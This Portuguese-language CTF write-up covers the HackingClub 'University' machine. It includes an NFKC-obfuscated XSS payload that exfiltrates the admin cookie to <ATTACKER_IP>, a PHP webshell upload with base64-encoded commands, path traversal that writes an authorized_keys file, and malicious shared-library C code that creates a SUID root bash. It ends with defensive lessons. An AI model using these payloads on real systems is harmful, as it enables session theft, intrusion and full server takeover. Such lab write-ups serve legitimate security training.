Thumbnail oficial da máquina University no Hacking Club

University

Plataforma
HackingClub
Dificuldade
Hard
Sistema
Linux

Categorias Web · Lateral Movement · Privesc

Máquina Linux Hard da Hacking Club que encadeia quatro vulnerabilidades: stored XSS com bypass de WAF via normalização Unicode NFKC para roubo da sessão do admin, file upload com dupla extensão para RCE, path traversal numa API interna para escrita arbitrária de arquivos, e shared library hijacking via glibc-hwcaps para escalação a root.

Recon

rustscan -a university.hc -- -sV

O scan revelou apenas SSH e um Apache:

rustscan mostrando portas 22 e 80 abertas
Superfície mínima: SSH e Apache 2.4.58.

O acesso direto por IP retorna 403; a aplicação só responde com o Host university.hc. É uma universidade fictícia (“Digital University”) com registro e login de estudante.

página inicial da Digital University
Aplicação pública — programas de graduação e botão para área do estudante.

Depois de registrar uma conta em /register e autenticar, o menu expõe /online-teacher, que leva ao formulário POST /send_message (parâmetros subject e question) — um canal para enviar dúvidas a um professor. O professor é um bot que abre cada mensagem, o que torna o campo question um alvo de XSS armazenado. A aplicação também tem GET /next?redirect= funcionando como redirect interno.

formulário de envio de mensagem ao professor
O campo question é renderizado no browser do bot — o ponto de injeção.

Foothold

WAF mapping

O campo question passa por um WAF que responde 403 a qualquer payload com construções de XSS. Testando incrementalmente identifiquei a blocklist:

  • Tags: <script>, <img>, <svg>, <body>, <meta>
  • Handlers via regex on\w+=
  • Funções: alert, confirm, eval, atob, fetch
  • Acesso ao DOM: document.cookie, location, javascript:
  • Globais: self, this, window, top

O detalhe que abre o bypass: a resposta 403 do WAF usa charset=iso-8859-1, enquanto as respostas normais usam UTF-8. O WAF inspeciona a string crua, antes de qualquer normalização do backend.

WAF respondendo 403 com charset iso-8859-1
A mudança de charset no 403 denuncia que o WAF opera antes da normalização NFKC.

Unicode NFKC bypass

O controller do admin normaliza o conteúdo da mensagem com \Normalizer::normalize($q, \Normalizer::FORM_KC) (NFKC) antes de renderizar para o professor, mas o WAF não. Caracteres Unicode que colapsam para ASCII sob NFKC passam batido pela blocklist e voltam a ser ASCII no browser do bot.

A base é o bloco fullwidth (U+FF01–FF5E), onde cada caractere normaliza para o ASCII equivalente (o, .), mais alguns equivalentes dedicados ( U+FE66 → =, U+FF0B → +). Só com isso o WAF ainda barra dois tokens, porque os bloqueia mesmo na forma fullwidth: img e cookie. A solução é quebrar cada token com um modifier letter que também normaliza:

  • <imᵍ>g vira superscript U+1D4D (NFKC → g), então o WAF não vê a string img
  • cooᵏiek vira superscript U+1D4F (NFKC → k), então o WAF não vê a string cookie

Gerei e validei o payload garantindo que a forma crua não contém nenhum token bloqueado em ASCII e que NFKC(payload) reconstrói exatamente o HTML desejado:

geração e validação do payload NFKC
A forma crua escapa o WAF; a forma normalizada reconstrói o <img onerror> funcional.

Final payload

Forma enviada (passa o WAF):

<imᵍ src﹦x onerror﹦document.location﹦"http://<ATTACKER_IP>:8000/?c﹦"+document.cooᵏie>

Sob NFKC esse payload reconstrói o <img src=x onerror=document.location="http://<ATTACKER_IP>:8000/?c="+document.cookie> no browser do bot.

Envio (a conta de estudante autenticada serve para postar a mensagem):

curl -s -b "PHPSESSID=<SESSION>" "http://university.hc/send_message" --data-urlencode "subject=Calculus II doubt" --data-urlencode "question=$(cat payload_raw.txt)"

Interceptado no Burp, o request mostra o payload fullwidth chegando intacto ao servidor — o WAF não casa <img>/cookie (escondidos sob os caracteres Unicode) e a aplicação responde 200 com “Message sent”, confirmando o bypass:

request do XSS interceptado no Burp Repeater com response 200 Message sent
O payload fullwidth passa o WAF; a resposta confirma que a mensagem foi entregue ao bot.

Com um python3 -m http.server 8000 ouvindo, o bot abriu a mensagem em ~20s e o onerror exfiltrou a sessão do admin direto para o meu listener:

listener recebendo o cookie do admin
O callback do bot entrega o PHPSESSID do admin.

CSP e por que o onerror inline executa

A aplicação devolve um Content-Security-Policy em toda resposta.

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'

O token 'unsafe-inline' dentro do script-src autoriza handlers de evento inline como onerror e onload, então o <img onerror> roda direto no browser do bot e não existe bypass de CSP a fazer. A exfiltração por document.location é uma navegação top-level que o CSP nem governa, enquanto um fetch() para fora cairia no default-src 'self', mas a navegação passa sem problema.

Foi por isso que o GET /next?redirect= (um open redirect same-origin) não foi necessário. Ele só importaria sob um script-src 'self' puro, sem 'unsafe-inline', onde o onerror morreria e a única execução viável seria carregar um script same-origin como <script src="/next?redirect=//attacker/x.js">, abusando do redirect para escapar da allowlist. Com o 'unsafe-inline' presente esse caminho vira só um detour opcional.

File upload to RCE

Com o PHPSESSID do admin, o painel /professor libera um upload de arquivos.

painel do professor com formulário de upload
O upload diz aceitar apenas JPEG — mas valida só o Content-Type.

O controller (Admin::index) valida apenas o Content-Type enviado pelo cliente, e move o arquivo com o nome original sem sanitizar a extensão:

if ($fileType === "image/jpeg") {
    move_uploaded_file($file['tmp_name'], $uploadDir . $fileName);
}

Como o Apache executa qualquer arquivo cujo nome contenha .php, a dupla extensão .php.jpg com Content-Type: image/jpeg resulta em execução. A validação olha só o header Content-Type (controlado pelo cliente), então nem é preciso forjar o conteúdo do arquivo — uma webshell PHP pura com nome sh.php.jpg e Content-Type: image/jpeg basta. O request multipart e a confirmação do servidor no Burp:

request multipart do upload no Burp com response File saved
O multipart com filename sh.php.jpg e Content-Type image/jpeg é aceito — o servidor confirma File saved at: uploads/sh.php.jpg.

Passo o comando em base64 (c=$(echo -n 'id; hostname' | base64)) porque o mesmo WAF inspeciona a query string e barra pipes e palavras-chave; assim a URL nunca exibe os tokens bloqueados. O arquivo é servido em /uploads/sh.php.jpg e executa como www-data:

RCE confirmado como www-data via webshell
Comando passado em base64 retorna uid=33(www-data).

Lateral Movement

A enumeração interna pela webshell mostrou uma API Express (“Document Portal” v2.4.1) escutando em 127.0.0.1:8080, rodando como o usuário service a partir de /home/service/api/app/:

enumeração interna mostrando a porta 8080 e a API Document Portal
ss revela o serviço local em 8080; /health e /docs identificam a API Express.

Os endpoints visíveis são GET /docs e GET /health. Fuzzando os métodos, POST /upload existe (retorna 400 em vez de 404) e aceita multipart. O nome do arquivo do multipart é usado direto na escrita, sem normalizar ../ — escrita arbitrária com os privilégios de service. Apontei o traversal para o authorized_keys do service e entrei por SSH com a chave injetada:

path traversal escrevendo authorized_keys e SSH como service
Escrita arbitrária na API interna leva a SSH direto como service.

Com acesso como service, a flag de user foi obtida em /home/service/user.txt.

Privilege Escalation

O service tem um sudo NOPASSWD bem específico:

sudo -l mostrando NOPASSWD para backup_manager
service pode rodar /usr/local/bin/backup_manager /tmp como root, sem senha.

Como o service pode rodar o binário como root, copiei o backup_manager para a máquina de ataque e o disassemblei. O main monta um comando tar com o diretório recebido e o executa via system(), cercado por duas chamadas a log_message — uma função que o binário não define, resolvida pela PLT:

00000000000010f0 <log_message@plt>:
    10f0:	endbr64
    10f4:	jmp    QWORD PTR [rip+0x2ed6]        # 3fd0 <log_message@Base>

00000000000011e9 <main>:
    ...
    1283:	call   10e0 <snprintf@plt>
    128f:	mov    rdi,rax
    1292:	call   10f0 <log_message@plt>
    ...
    12e8:	lea    rax,[rbp-0x210]
    12ef:	call   10c0 <system@plt>
    ...
    130d:	mov    rdi,rax
    1310:	call   10f0 <log_message@plt>
    ...

A entrada log_message@plt salta para um slot da GOT (log_message@Base) preenchido pelo loader em runtime — ou seja, o símbolo vem de uma biblioteca externa, não do binário. O readelf mostra de qual: liblogger.so, declarada NEEDED, com RUNPATH /usr/local/lib:

readelf -d do backup_manager mostrando NEEDED liblogger.so e RUNPATH /usr/local/lib
backup_manager depende de liblogger.so, resolvida pelo RUNPATH /usr/local/lib.

O ponto crítico é como o loader resolve essa lib: ele procura nos subdiretórios glibc-hwcaps/ que o processador suporta antes do diretório base. A CPU do alvo suporta x86-64-v3, então a lib é carregada de lá — e esse diretório é gravável por qualquer um:

ldd resolvendo liblogger.so do slot x86-64-v3 gravável
O ldd confirma o carregamento a partir de glibc-hwcaps/x86-64-v3, que está drwxrwxrwx.

Compilei uma liblogger.so maliciosa nesse slot, com um stub do símbolo log_message (que o binário espera) e um constructor que roda no carregamento, antes do main:

// evil.c
#include <stdlib.h>
#include <unistd.h>
void log_message(const char *m){ (void)m; }          // stub do símbolo esperado
__attribute__((constructor)) void init(){
    setuid(0); setgid(0);
    system("cp /bin/bash /tmp/.rootbash && chmod 4755 /tmp/.rootbash");
}

Bastou disparar o binário via sudo: o linker carrega minha lib do slot gravável, o constructor roda como root e cria um bash SUID:

escalação a root via glibc-hwcaps library hijacking
O backup_manager com sudo carrega a lib maliciosa; o rootbash retorna euid=0(root).

Após a escalação, a flag de root foi lida em /root/root.txt.

Lessons Learned

  • Um WAF que filtra a string crua e um backend que normaliza Unicode (NFKC) são camadas dessincronizadas: o atacante escolhe uma representação que escapa o filtro e colapsa para o payload no destino. Validação e sanitização precisam acontecer na mesma forma normalizada.
  • Validar upload por Content-Type é inútil — o cliente controla esse header. A defesa real é normalizar a extensão, servir uploads de um diretório sem execução, e nunca confiar no nome do arquivo.
  • O loader procura bibliotecas em glibc-hwcaps/<nível> antes do diretório base; qualquer um desses subdiretórios gravável é um vetor de hijacking equivalente a um LD_LIBRARY_PATH permanente para binários com sudo.

Impact

  • A Digital University expõe os dados pessoais e acadêmicos dos seus estudantes: ao sequestrar a sessão do administrador, o atacante alcança matrículas, notas e comunicações privadas — um vazamento sujeito à LGPD.
  • Com root no servidor, ele pode adulterar registros (notas, históricos), derrubar o portal em período letivo crítico e acessar qualquer dado em repouso.

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti